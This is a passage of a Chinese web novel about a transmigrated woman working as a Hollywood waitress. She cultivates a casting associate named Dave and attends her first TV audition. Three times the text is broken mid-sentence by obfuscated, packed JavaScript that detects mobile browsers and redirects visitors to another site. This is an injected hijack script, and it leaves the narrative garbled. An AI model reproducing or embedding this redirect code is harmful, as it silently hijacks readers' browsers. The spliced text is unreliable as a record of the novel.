在穿越后来上班的第一天,她的确吃了一块魔鬼蛋糕,这是好莱坞之星最受欢迎的甜品,但陈贞却连一半都吃不下去——由于白人的味觉对甜味不敏感的关系,好莱坞之星,或者说全美国的甜品都要比中国的甜出起码一半,而陈贞应该是把自己的味觉系统也带过来了,这块蛋糕没吃一半她就齁得快吐了。 至于汉堡,里头的芥末酱、蛋黄酱一样是热量超高,而且几乎所有酱都有盐糖极度超标的问题,超市卖的意面酱,一勺的含糖量甚至超过两块奥利奥,珍妮.简笑了笑,“我可能有个试镜,约翰,所以我正在节食。” 约瑟夫叹了口气,拍了拍珍妮的肩膀,“我不知道该希望你成功还是失败。” 对于珍妮.简想要进入好莱坞的事,他也并不吃惊,这在洛杉矶,尤其是靠近好莱坞的街区,根本不足为奇。 也因为珍妮的身体继承了陈贞的味觉,对于清淡饮食她还算是比较适应的,对于那种几乎是如影随形,让胃部有淡淡疼痛感的饥饿……她也早就习惯了。珍妮很珍惜地把一盘沙拉吃了精光,透过送菜橱窗看到外头有顾客进来,便拍了拍裙子,站起身对同事说,“斯考特,这个客人我来带。” 斯考特是和她搭档的男服务生,他还没有吃完,只是对珍妮的照顾投来了感谢的一瞥。 珍妮.简却没在意这个,她拿起菜单,对着镜柱调整了一下脸上的笑容,走向窗边,“嗨,下午好。” “下午好。”她的客人抬头也给了她一记微笑,他看来心情不错。 “还是老样子?”珍妮.简问。 这是他连续第七天下午过来喝咖啡,珍妮.简已经把他的点单记在了心里,这对于侍应来说是刷小费的必备招数。 “还是老样子。”客人说。 珍妮把一杯不加糖,双倍奶外加奶油堆顶,洒大量肉桂粉的摩卡端来的时候说,“今天天气不错,你看来心情也不错。” “我度过了很愉快的一天,你呢?”客人眼底闪动着愉快的光芒。 和客人闲聊几句也是刷小费的技能,但今天珍妮.简却不是因为这个原因和他搭话,她耸了耸肩,“过两天有个试镜,这几天我都有点紧张,别的一切都好。” 男顾客愣了一下,但很快恍然大悟地点了点头,“带着梦想来到洛杉矶的,是吗?” “目前为止,我的梦想还不是很顺利,”珍妮嘟了嘟嘴,比了下自己身上的制服,又对男顾客笑了下,“不论如何——” “我叫戴夫。”男顾客说。 “OK,不论如何,戴夫,祝你有愉快的一天。”珍妮对他眨了眨眼睛,又笑了一下,“如果你有任何需要,叫我就可以了。” 她端起托盘,翩然离去,不着痕迹地通过餐厅随处可见的镜面装饰柱观察着戴夫。 他正盯着她的背影不放。 好现象。珍妮想:接下来一周我最好还是要上白班。 5. 使心机 戴夫.简森,珍妮.简注意到他时,他已经连续光顾好莱坞之星三天了。每天下午两点到,喝一杯咖啡,打几个电话,有时拿出几份文件看一看,然后走进好莱坞之星对面的大楼中消失不见。 他大概三十多岁,已经开始谢顶,有些胖,穿得也很随便,总是一件夹克衫和不同款式的法兰绒裤子,看起来就像是好莱坞随处可见的落魄经纪人,穷得连一身像样的西服都置办不起的那种,好莱坞之星的另一个当家女招待杰西卡对他印象不佳,因为戴夫曾笨拙地试着和她调过情,但被她毫不留情地拒绝了。 珍妮.简和杰西卡谈起过他一次。 那是她们的休息时间,杰西卡钻到巷子里抽烟,珍妮.简也跟了过去,杰西卡递给她一根烟,珍妮拿在手里把玩,但并不抽。 “应该是来为他的演员争取角色的小经纪人。”杰西卡吐出烟圈,冲着街道对面的六层小楼点了点下巴,她的语气中现出一丝艳羡,当然也不无妒忌,“最近对面又有大动作了,挺多婊.子进进出出。” 在洛杉矶,演艺业是经济的一大支柱,好莱坞之星对面的办公大楼就被时代雷蒙德下属的电视剧制作部门租了一层,这里平时人流量正常,但在一年的特定时候又相当热闹,好莱坞之星的生意在这时候也会迎来一个小高峰。 特定的时候一般是指一部新剧集的筹拍阶段,一般说来会在五月到六月之间进行秋季档美剧的筹拍工作,剧本大纲通过高层审核以后,制作部门开始组建剧组,除了多半早已经物色好的主演以外,还会有很多次要角色需要试镜,好莱坞之星所在的这个地段相当靠近好莱坞,但租金又相对便宜,在这里租办公楼做试镜用性价比相当高。 “也到试镜的时候了。”珍妮简单地说,把烟收到口袋里,“你不去碰碰运气?” 杰西卡之所以屈就于好莱坞之星,就是因为这里距离时代雷蒙德的试镜点很近,她视此为自己飞黄腾达之路的起点。不过她在这上了一年的班,除了睡过几个对面的保安以外,还没能成功搭上任何一个选角部门的负责人。 没有负责人就不能进入任何一个选角导演的选择范围,直接跑过去递交简历试图霸王试镜只会被保安赶出来,杰西卡白废了一年功夫,也只能放弃打入电视剧圈子的努力,这几个月她开始积极投简历应征平面模特,也联系了一个模特经纪人。 珍妮提到了她不快的往事,这让她脸色一沉,“烟你不抽?” “我的轮班马上要到了。”珍妮解释说——珍妮.简有时会抽烟,但陈贞不抽。 杰西卡不听她的解释,“不抽就还给我。” 珍妮耸耸肩,把烟递还给杰西卡,“我得进去了,嘿,杰西?” 杰西卡对她挑挑眉毛,神色依然冷硬。 “我知道你下周有个试镜,祝你成功。”珍妮举起拳头,杰西卡的脸色柔和下来,伸手和她击了击拳。 “你也一样,姐妹。” 珍妮笑了一下,转身走进餐厅,大概过了五分钟,她看到戴夫推门而入,便取代杰西卡过去招待她。“嗨。” 戴夫明显在寻找杰西卡,他的回应有些心不在焉,“嗨。” 珍妮递上菜单,戴夫漫不经心地来回浏览了好几遍,但珍妮并不在意,她在戴夫身边站得越久,就越能看清文件夹上的文字。——虽然那是倒放的,也只从公文包里被抽出了一半,但珍妮或者说陈贞,有一手相当不错的倒读文字绝活。 这还得归功于她前夫,为了斩断,或者说拉长她前夫出轨的节奏,陈贞苦练过这一招,最后的功力达到只要眼角余光里有字,她就可以不动声色地阅读清楚的层次。 她主要用这个本事来偷看她前夫的手机。 看来这一回杰西卡是走宝了。珍妮想,她把那几行英文字又读了一遍:‘5月13日试镜安排,一号办公室,《吸血鬼猎人巴……’ 不必看完她也知道,这是WB电视网的王牌电视剧《吸血鬼猎人巴菲》在进行新季选角,按照摄录日程,巴菲应该是在七月开拍,五月会提前选出本季的一些常规角色,再做一些剧本上的调整,等到七月主演回归以后就可以直接开拍。 会有这么一份文件并且每天都过来,他不可能是一个演员的经纪人这么简单,应该是巴菲剧组的选角导演,或者更上一层楼,干脆就是巴菲剧组的编剧或制作人。如果能够攀上这一层关系,在电视剧中获得一个客串角色应该是轻而易举的事。 珍妮.简虽然对于这样的‘触电’方式有些抵触,但那也只是因为她有个坑爹的目标,得制霸好莱坞。现实是对她这样的女招待来说,不论怎么利用,这样的资源都是无论如何也不能错过的。即使对电视剧没兴趣,也可以请他介绍业内朋友为自己找个经纪人,又或者干脆直接介绍去华纳的电影剧组中面个小龙套…… 这是她注意戴夫的开始,随后几天她已经不着痕迹地弄明白了戴夫的全名,又从电话中再次肯定了他的身份——因为2012年《超英集结》的热映,她对爱德华.威登有很深刻的印象,做过一番研究,爱德华的代表作之一就是这部魅力无限的《吸血鬼猎人巴菲》,而戴夫接的几个电话都提到过爱德华这个名字。 这是不错的资源,落在好莱坞之星可以说是命运的安排,也可以说是珍妮.简多方努力的结果:这么多好莱坞漂不是没有理由的,占据地利之便以后,肯定会有机会在附近,但能否识别和把握就得看个人了。 珍妮.简并没有拉下脸巴结戴夫,她就走闲聊路线,这在所有餐厅都很正常,为了小费,服务生经常和顾客拉拉家常。 戴夫来的前三天都由杰西卡服务,第四天珍妮只是和他打了个招呼,第五天开始聊聊天气,第六天说到了戴夫家养的狗,第七天谈起了珍妮的试镜。 现在戴夫已经习惯由她来服务了,第八天他们聊了一下珍妮.简子虚乌有的试镜,珍妮告诉他试镜吹了,“他们已经找到了想要的花瓶女孩。” “噢!”戴夫同情地说。 珍妮对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274119|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚强一笑,“想要鼓励我,就告诉我我会是个很好的花瓶。” 戴夫笑了,“亲爱的,你远不止是个花瓶——” 珍妮叉着腰做出生气的样子,戴夫举手投降,“好的、好的,你会是很好的花瓶女孩。” 珍妮放下手,和戴夫一起笑起来。“谢谢你,我现在有信心多了。” 这天戴夫给了30%的小费。 第九天珍妮问戴夫是不是今后就在这工作了,戴夫告诉她自己住在纽约,这只是个短期的活计,下周三自己就要回去了。 但他还是没透露自己的职业。 到下周三还有六天时间。 珍妮.简笑容依然,并不着急,她还没绝望到任何一个机会都会抱住不放的地步。 算了下时间,第十天她和约瑟夫打过招呼,把自己积攒了两周的休假拿出来用了一天。 第十一天下午,戴夫比平时到得早了半个小时,他看来心神不定,直到见到珍妮才露出笑脸。 “嗨。”珍妮还是照样对他微笑,“老样子?” 戴夫脱口而出,“昨天我来,是杰西卡为我服务。” 他的语气有些控诉,好像和杰西卡调情不是他一开始来这里的目的之一。 “我昨天休息。”珍妮好笑地说,“希望你没受到委屈。” 戴夫做了个不予置评的表情,珍妮笑着回到吧台,除了咖啡以外,她多拿了一个松饼。 “算在店里,当是对昨天的补偿。”她说,冲戴夫眨眨眼。“有任何需要,叫我。” 结账的时候戴夫还是给30%的小费,他有些紧张,但还是挺勇敢地直视珍妮的双眼,“你说过,有任何事情都可以叫你(Callyou)。” “对啊。”珍妮说。 “但我没有你的号码。”戴夫说,他有些结巴,很快又解释,“没有号码我怎么给你打电话(Callyou)?” 珍妮每天都把这个双关语往戴夫耳边丢,可以说这个楼梯已经给他搭得超级高了,现在他就着楼梯往下走,居然还会害怕得结巴? 这男人实在纯情得可爱,珍妮忍不住笑了起来,现在,她是真的有些喜欢戴夫了。 “我是该说‘很高兴你终于问了’,还是该说‘哦天那我完全没想到’?”她掏出笔,但手又停在半空,故意板着脸做沉思状。 戴夫结结巴巴地说,“当然是前者,哦拜托,一定要是前者。” “你完全没必要这么紧张。”珍妮扑哧一笑,在收银小票后留下了自己的电话号码,“有任何事情——” 她比了个6字,在耳朵边上晃了晃。 拿起咖啡杯和松饼盘,她开始往回走——她注意到戴夫一直注视着她的背影,直到她钻进吧台。 “他约你出去?”约瑟夫八卦地问。“告诉我你回绝他了——瞧他吧,那就是个失败者,他配不上你。” 珍妮只是微笑而不说话。 戴夫当晚就打电话来约她出去吃饭。 6. 机会变现 好莱坞之星的班次有三种,早班覆盖早饭、中饭,中餐结束后可以换班,中班覆盖中餐、晚餐时段,而晚班就覆盖晚饭和夜宵时段。因为中饭和晚饭给小费的几率更高,所以珍妮一般选择中班,为了和戴夫吃晚饭,她第二天特地换了早班。 也许是因为羞怯,这一天戴夫没有来咖啡馆,约会时甚至还迟到了两分钟,出现时他连声道歉,但却拿不出一个很好的理由解释。 珍妮.简也用不着他的解释,她扫了戴夫不大合身的西装,以及明显经过反复梳理的头发一眼,就知道他为什么会迟到。——作为一个在演艺圈摸爬滚打了这些年的选角负责人,戴夫青涩得简直让她诧异。 “你选的餐馆档次已经让你不必道歉了。”她半开玩笑地说,“能预约到‘吃干抹净’,足够让你得到我的一个吻。” ‘吃干抹净’是餐厅的名字,原文为意大利语‘Scarpetta’,由名厨开设,坐落于比弗利山庄中,一顿饭可以轻松吃掉珍妮.简两天的工资,如果开了好酒还要更多,作为有名气的高档餐厅,要预约一个座位并不简单,如果没有一定的关系,更难以约到靠窗边的好位置。 珍妮的夸奖显然让戴夫很高兴,他的举止自信多了,不过性格倒还是没改,并没有自己居功,而是坦白地告诉珍妮,“其实是一个好朋友为我打了电话。” 珍妮笑着说,“哇,那你的好朋友可真有本事——能交到这样的好朋友,你就更有本事了。” 她一边说一边在心里吐:这奉承得有点太明显了。 但一如她所想,对于严重缺乏自信,举止谈吐都笨拙生疏的戴夫来说,这样的态度才能让他尽快树立起信心,在珍妮连续丢出两个恭维以后,他放松得足以开玩笑了,“那么能让这么有本事的我请你吃饭,看来你才是权力链的顶端。” 珍妮立刻发出笑声,戴夫和她一起笑了起来,在一片轻松的氛围中,他们开始点餐。 珍妮已经很久没有吃过饱饭了,如果说周围的食物香味对她没有诱惑力,那是假的,但看着一套餐点中的鹅肝、甜点、酱汁,再换算一下要消耗这些卡路里必须付出的运动时间…… 她点了沙拉和甜点,戴夫要得比她多,还要了一支红酒。 “你应该多吃点,即使作为想要上镜的女孩来说,你也有点太瘦了。”戴夫说,把餐前面包往珍妮眼前推了推。 “我的空余资金只允许我付这些的钱。”珍妮给自己找了个理由。 戴夫的神色发生变化,但珍妮抢在他之前开口,“我知道你想请客,不过这得是我们两人一起做的决定,不是吗?如果我觉得……我会让你请客的。” 她没有说明白,但戴夫已经红了脸,珍妮看得很奇怪,“你是不是很少外出约会?” “上一次频繁约会的时期已经是十七年前了。”戴夫说,接下来她听了一个很常见的高中恋人走过风风雨雨,性格不合最终离婚的故事,戴夫和前妻没有小孩,前妻分到了狗。离婚后他度过三四个月的疗伤期,最近渐渐开始打算重回情场。 没什么特别的,大部分细节她都从他无名指上的戒痕猜到了,“哇,那么作为你十七年后的第一个约会,我应该感到荣幸。” “你不是第一个约会,”戴夫说,他望着她的神色很和蔼,“但你是第一个让我觉得……非常棒的约会对象。” “之前发生了什么事?”珍妮问,她在心里默念:和试镜的女孩出去……结果很差。 “我可能没和你说过,我是个小小的演员副导演。”戴夫说,“之前在纽约的时候,我约了几个试镜女演员出去,结果都很糟。” Bingo,对于他一直不提自己职业的完美解释。如果不是她坚持以AA为底线,不随便接受请客,也许戴夫一直都不会说。 珍妮笑了一下,同情地说。“把生活和工作分开的人并不多见,是吗?” 戴夫哼了一声,“很多人都以为和导演睡觉就能拿到角色,但在好莱坞,事情并不是这么简单。如果你只懂得给服侍过你的人大开方便之门,那么你的副导演也就干不久了。” 有些书呆子的感觉,结婚后一直专心工作,老实人,从未受过形形色.色美女的诱惑,专业性很强,并且引以为傲。 人品还不错。 “人们总是把好莱坞想得太简单了。”珍妮岔开了话题,“和我说说你的狗吧,我从小就想养一只狗,可寄养家庭总是有太多小孩,没有空间来容纳狗。” 戴夫的兴趣明显被挑起来了,他也有些吃惊,“我没想到——我是说,抱歉,你看起来像是个幸福家庭里走出来的快活女孩儿。” 他们聊了戴夫的狗,戴夫的童年(中产阶级,严厉而冷淡的双亲,大家庭中饱受欺凌的老三),珍妮的童年(失败的家庭,颠沛流离的寄养生活),还有戴夫的婚姻,以及珍妮的理想和现状。 整顿饭珍妮没有问过戴夫的工作,但在品尝甜品时戴夫主动告诉她自己入行的全过程(对电影有兴趣,读了南加大,发现自己没太多才能,靠着关系进入雷蒙德兄弟实习,努力表现,顺利留下来工作,现在成为华纳的资深演员副导演)。 他们聊得很开心,戴夫的眼睛全程闪闪发亮。——这也是为什么珍妮要了甜点,甜点时间才是一顿饭最放松的闲聊时段。 付账的时候戴夫坚持要请客,珍妮考虑了五秒钟,然后笑着点了点头。 戴夫几乎为此欢呼雀跃——他表现得实在是很明显。 吃完饭他们散步回去,谈论戴夫参与的一些影片,有一些珍妮也没有看过,他们约定有机会可以一起看。 这里距离珍妮的住处有十五个街区,他们居然散步到珍妮的公寓楼下,戴夫和她说再见的时候有些依依不舍,但珍妮笑着告诉他,“我不是第一次见面就会请人上去喝咖啡的女孩。” 其实说实话,别说请人上去喝咖啡,她以前甚至绝对不会主动给别的男生留搭讪的借口。从前陈贞生活在中国,那是个讲究含蓄优雅的东方国度,女孩子需要做的就只是把自己打扮漂亮,然后坐在那里等。——如果你太主动,别人会觉得你不值钱。但在美国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274120|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这样的忌讳几乎不存在,如果你太含蓄,没人会来搭理你,长得再漂亮也没有用。陈贞不可能改变环境,只能改变自己,默默地适应西方世界的社交规则。 “是的,你不是。”戴夫驯善地说,他伸出手,珍妮和他握了一下,而他用了过长的时间才慢慢放开。“明天见。” “明天见。”珍妮说,她冲他挥了挥手,转身上楼,一边走楼梯一边在计算自己浪费了多少可以用来运动的时间。 走到二楼楼梯间的时候,她发现戴夫还在楼下,他正抬头看着她的身影。 笑容如此真诚,充满了希望——这是在这顿晚饭之前绝不会出现在他脸上的笑容。 珍妮忽然有些罪恶感,但还是露出笑容,又冲他挥了挥手。 第二天戴夫来喝咖啡,但店里比较忙,珍妮没和他多说几句话,结账的时候她告诉他,“你留3%的小费就可以了,那是分给别人的份。” 餐厅的小费有固定的3%要分给后厨的一些帮忙人员以及跑堂男孩,多余的部分才给女服务员,这是几乎约定俗成的规矩。戴夫明显愣了一下,“可——” 珍妮说,“给朋友服务不需要小费。” 她冲戴夫笑了一下,戴夫激动得有些结巴,“可、我——” 他当晚又给珍妮打来电话,珍妮算了下时间,答应他后天晚上可以出去约会。 那是戴夫呆在洛杉矶的最后一个晚上,也是他们的第二次约会,珍妮打扮得比平时隆重了一点,喷了香水,他们还是聊得很开心。——当然,她还是没提关于试镜的一个字。 “你知道,我明天就要回纽约了。”吃完饭,戴夫送她回去,他的语调有些低沉。 珍妮让自己的语气多些遗憾,“但你总会再来洛杉矶的,是吗?” “是的,大概两个月后我就会再过来了,剧组大概在那时候成组拍摄。”戴夫说,努力使语调轻快一些。“两个月后见?” 珍妮把手挽进他的臂弯,“两个月后见。” 这一次,戴夫在告别的时候更加依依不舍,但还是没能成功突破到珍妮的香闺,很明显,珍妮也并不是第二次约会就能上.床的女孩。 第二天戴夫没有出现在好莱坞之星,约瑟夫对此做了一番评论,珍妮一笑置之。 她继续减肥,继续等待,并不焦急,也没让自己抱有太多希望——即使再没有下文,她也获得了两个不错的晚上,不错的晚饭,不错的酒,不错的谈话和一个不错的约会对象,其实说真的,除了没有光鲜的外表以外,戴夫并不比那些夸夸其谈的男演员们差多少,而珍妮已经过了以貌取人的年纪。 一个月以后,珍妮穿进了2号衣服,她开始研究洛杉矶的各大剧院和剧团——因为以前的珍妮.简并未想过自己会从戏剧出身,所以在这方面的知识十分匮乏。 一个半月以后,她的电话响了,珍妮从围裙里捞起手机。 戴夫在电话那头气喘吁吁地说,“听着,珍妮,我需要你的简历和照片,现在,马上,你有电子邮箱吗?马上给我发封邮件。” 7. 第一次试镜 还好,2001年的洛杉矶已经基本普及了电脑,好莱坞之星的经理办公室就有那么一台,并且可以上网,也还好,珍妮.简一向表现良好,从不迟到早退,所以约瑟夫的脸色虽然有点臭,但还是打开办公室让她发了这么一封邮件,“下不为例,不要外传。” “谢谢你,老约翰。”珍妮笑眯眯地对他说,“你也别外传。” 约瑟夫哼了一声,“如果你是说杰西卡的话,放心吧,我可不会自寻死路。” 倒不是说杰西卡这么受不了刺激,只是站在约瑟夫的角度考虑,肯定希望两大当家女招待都能尽量在餐厅中做久一些。珍妮这边的进展对于杰西卡来说肯定是个刺激,说不定就会加速她离开好莱坞之星的脚步,对这种攀比心理,珍妮很熟悉,看来约瑟夫也不陌生。 确定戴夫收到以后,珍妮没问太多,继续工作,等到轮班结束以后才打给戴夫。 “是CIA。”电话才接起来,戴夫就说,他有些兴奋,“他们需要一个罪犯,对外形和演技有点要求,原来约了克莉丝汀.邓斯特,不过无论如何,她现在不能来了。他们得立刻找个替补,这是第二季第一集,一切不容有失,所以会再举行一次试镜。我一个朋友在剧组,我和他刚聊过这事——我推荐了你。” CIA客串?这是个不错的机会,珍妮精神一振,“戴夫,我真不知道该说什么好。” “别说,只是个机会而已,你的简历能不能通过初审还得看运气。”戴夫在电话那头呵呵笑,“可惜试镜当天我在纽约没法过来,祝你一切顺利。” 他们又闲谈了几句,珍妮便挂了电话,她深思地望着手机,过了一会才把它收进衣袋里。 她是真没想到戴夫这条线会这么早就给她带来回馈,按她预计,《吸血鬼猎人巴菲》新季开拍以后,会有些无关紧要的小角色需要在每一集开拍之前再行招募,也就是俗话说的一集龙套,会在季前开始试镜的毕竟多数都是有点分量的配角,更多的龙套都是在剧本写完后再现行招募,剧组开拍后,每一集都意味着许多龙套的机会。而戴夫如果没有调职,还是演员副导演,当然也要来洛杉矶配合工作,到那时候,她可以得到一个或者两个客串的机会,也算是让珍妮.简这具身体正式入行,在那以后就可以试着寻找一些独立电影的配角,然后看看能不能加入演员工会,并且给自己找个经纪人了。 没想到还没等到巴菲开拍,戴夫就给她带来了一个CIA特殊罪犯的试镜机会,虽然他说能不能进面试得看她的简历,但根据陈贞对演艺圈的了解,有戴夫这个演员副导演推荐,不论如何,一个面试机会她都一定会有的,这种人情后门古今中外概莫能外,只要戴夫的朋友真的把他当朋友看,这点面子还能不给吗? 但是戴夫自己也不知道角色类型,而珍妮虽然对CIA的鼎鼎大名有所耳闻,可她前世对血腥场面不是很喜欢,却偏偏没看过这部剧集,记忆空间里也没有,所以她也只能泛泛地磨练着自己的演技,同时等待着下文。 大概三天后,她收到了试镜电话,对方给了时间地点,又和她说了下试镜的角色要求。即使是珍妮,这时候也有些紧张了,虽然她对演艺圈的一些规矩十分清楚,但前世大学毕业后直接就嫁为人妇,其实也根本就没参加过几次试镜,仅有的几次还都是大学时期和同学们一起过去的,玩票性质更重,这种全部希望都放在一次试镜上的感觉还是第一次经历。 难怪演艺圈从业者心理出问题的比例特别高,要是这种满怀希望去试镜却又没被选上的经历多来几次,心理不失衡才怪。——也难怪杰西肯特别不喜欢谈起自己的试镜过程,别看她在好莱坞之星这么吃得开,收到的小费往往比珍妮还多,但每回试镜失败肯定都意味着被否定,也就意味着对自尊心的一次蹂躏,对比这么明显,她会喜欢谈起来才怪呢。 试镜那天她安排了休息,头天晚上特地睡得很早,算好了时间,掐着点出现在了TVS电视台的试镜部门,报上自己的身份和对方的电话号码,前台小姐在查证后给了她一个出入证,珍妮.简就凭着这个出入证进入了人来人往的试镜部门。 办公楼很大,也十分宽敞,许多人行色匆匆地和她擦身而过,谁也没有特别留意到珍妮,虽然她是个不可多得的漂亮姑娘——漂亮姑娘在TVS电视台内太常见了,尤其这还是个试镜部门。珍妮走到3号试镜办公室前时,都楞了一下:这里坐了起码有十二三个金发姑娘,全都面目姣好,正值青春年少。 试镜办公室的布置很像是医院,外面是宽敞的等待区,珍妮暗想这简直就是个变态整容医生的复诊等候室,随即又为人数暗暗心惊:只是一集的特殊角色而已,竞争者就多达十多人,而且大部分人的长相都非常不错。好莱坞的竞争果然要比中.国演艺圈的竞争不知激烈了几倍。 她走到办公室门前,在一位秘书那里登记了自己的名字,然后就领了试镜剧本坐下来翻阅,并没有和试镜者闲聊的兴致,这里的试镜姑娘全都是她的竞争者:她们都是急于成名的无名小卒,而非是已经在好莱坞找到自己一席之地的准成功者,和她们过多交际,纯属浪费精力。 之前她已经知道自己要扮演的是一位狡猾而毒辣,背后有很多故事的女明星,属于预谋杀人的凶犯,而且足智多谋,成功地掩盖了证据,在和CIA小组的交锋中全身而退。——这也解释了为什么剧组方面特地邀请了一个有些阅历的女演员来客串,这种角色让一般的龙套演员来演是很容易演砸的。珍妮推测,要不是开拍在即,他们又找不到合适的客串演员,这种颇有要求的角色也不可能面向底层演员进行遴选。 从她拿到的剧本来看,这段戏也颇有发挥余地,虽然简短,台词也不多,但场面充满张力,对演员的演技有一定要求。 [化妆间内] 尼克拿出证物袋,证物袋里受害者的手套,上面沾满血迹。 尼克:你知道这是什么。 华妮塔身穿华服,正在补妆,她从镜子里看着尼克,语气冷淡而无聊 华妮塔:这是朱迪的手套,你想说明什么?一百多个人都认得它,朱迪死的时候就戴着它,我们全都看到了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274121|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尼克:是的,这是朱迪的手套,她死的时候戴着它,在一百码以外的服装室里。她受了致命刺伤,慌乱之下捂住伤口,这上头沾满了她的血。但我们找不到第一现场,服装室里的血迹范围太小,没有喷溅痕迹,凶手把她从第一现场拖到服装室。然后洗刷了血迹,做得很干净,我们没找到什么证据。 华妮塔做出无聊的表情 尼克:我们搜索了你的休息室,没有血迹反应。 华妮塔:你在耽误我的时间,警官,我现在要去接受一个很重要的采访。《VOGUE》,你知道吗?V-O-G-U-E。 尼克:然而,华妮塔女士,我今天来是和你分享一个好消息,朱迪留在第一现场的并非只有她的血。我们已经推断出这是一起熟人作案,事出突然,朱迪受刺后尽力和凶手搏斗,很可能在凶手身上留下了一些伤痕。 华妮塔和尼克一起看向华妮塔肩头的一处伤痕 尼克:而这是一双羊绒手套,它的指尖和掌心有撕扯痕迹,朱迪在快速失血后迅速丧失反抗能力,在跪倒过程中她想要找些支撑,但最终没能成功。可这个过程为我们留下了至关重要的宝贵线索——羊毛纤维。在第一现场她留下了足以定罪的证据,带着血的羊毛纤维。 华妮塔脸色微变,不由自主地瞥向一面粗糙的装饰墙。 尼克一个箭步来到墙边,打开手电仔细地检查墙面,但一无所获,墙面十分干净,没有任何痕迹。 尼克望向华妮塔,两人眼神在镜中相会,华妮塔露出得意、含蓄而狡猾的笑容。 华妮塔起身,款款走近尼克,伸手靠近证物袋,尼克把证物袋藏到身后。华妮塔继续抬手,轻抚尼克脸颊,再走近一步,几乎在他唇上落下一吻。 华妮塔:我说过,我有个很重要的采访。你拥有我的搜查许可,警官,请便。 尼克咬紧牙关,华妮塔露出神秘莫测的笑意,缓缓离去 从剧本来看,华妮塔和尼克之间存在性吸引力,而她对自己的犯.罪行为非常自信,并不认为尼克能找到足够证据,尼克也知道自己被华妮塔戏弄了一次。在短短十几句对白中两人的攻守和气势强弱不断发生变化,这是很有张力的两人对戏。出现在这一集的收尾阶段可谓恰到好处,而华妮塔的塑造难点就在于她的强大自信和出众演技,换句话说,就是得把这个明星演出明星味儿来。 在她的印象中,CIA是TVS的王牌当家剧集,这几天她查了资料,果然,这部戏第一季的平均收视率一直排在全美第一、第二,收视人数两千万向上,作为新季第一集,收视人群也会有个小冲高。在这么一集里,演出一个和主演有强烈性吸引力,亦正亦邪的美艳大明星,即使是已经出演过有一定分量配角的女演员都不会等闲视之,珍妮环顾了一下四周,果然也发现了一两个有那么一点点面熟的面孔。 “对不起,让你们白跑一趟了。”她在心中默默致歉。“这个角色,我要定了。” 是的,对这次仿佛为她量身定做的角色,陈贞已经是志在必得、信心十足。 8. 得到角色 珍妮不知道戴夫的朋友是不是坐在试镜桌后面,主持这次试镜的有四名成员,他们看来都很严肃,似乎饱受不专业的面试者之苦。坐在当中的一位女性看了看她的简历,随后露出了明显的不以为然之色。 “谁把她放进名单里的?”她没有刻意降低音量,但珍妮也不以为忤,她知道自己的资历并不够格。 一个和戴夫有些相似的中年男人——按珍妮猜想,也许就是他的朋友——开口说,“珍妮,可以介绍一下你自己吗?” 珍妮介绍了一些基本情况,那男人又让她对着镜头笑一下,做些表情。 单看成片,很多人并不会觉得演员这职业有什么了不起,即使是最伟大的演员,其表演也远非不可指摘。就像是中国男足,所有人都觉得有大把改进空间,恨不能自己上去为他们踢球。这是电视转播的一大弊病——在电视上,任何事情看来都很容易。即使是需要专业训练的体育活动都是如此,更别说仅仅是对着镜头念台词了。 但当然,任何事几乎都是看着容易做起来难,即使只是对着镜头微笑和做表情,一般人也需要很长时间才能调整好,去试着对着一个陌生的圆头仪器以及仪器背后充满了审视感的眼神袒露自己。——演员是个非常需要自信和胆量的职业。 一个羞怯的人永远无法对着众多陌生人流露出自然的一面,而镜头又会把一切不完美放大,在现实生活中只是一闪而过的微表情,落入镜头中将会成为永远的破绽,倘若一个人在现实中是‘略有些内向’,那么在镜头前他就会变得‘举止笨拙、羞怯紧张’,如果珍妮还是当初那个怀抱梦想生生涩涩的乡村女孩,即使她有戴夫撑腰,在这一关也会凄惨地败下阵来。——很多伟大的演员职业生涯的早期,都有无数个失败至极的试镜。只有在反反复复的试镜、失败、再试镜、在失败中,真正有天赋的演员才能积累出圆熟而自信的镜头感,甚至连专业训练都不能取代这种真刀真枪的磨砺。 陈贞在表演系的四年学习中,不知道经过了多少次表演课,她被要求在众目睽睽之下撒泼打滚、大哭大笑。这些锻炼就是为了摧毁她作为一个正常人自然拥有的防范心理——正常人总是追求得体不失态,但演员在表演中恰恰要求的就是一种心理上的失态,这也就是俗说的投入角色、放得开。但,即使是如此,当她第一次出现在演艺空间中,使用模拟功能,出现在虚幻又真实的演出现场,面对庞大的摄影棚以及镜头背后起码上百人的剧组时…… 陈贞货真价实地吓尿了,她当时真的感觉到下腹有一股急迫的尿意,让她有迫切地上厕所的需要。甚至为此不得不中断了模拟,跑去解决了一下再回来尝试。 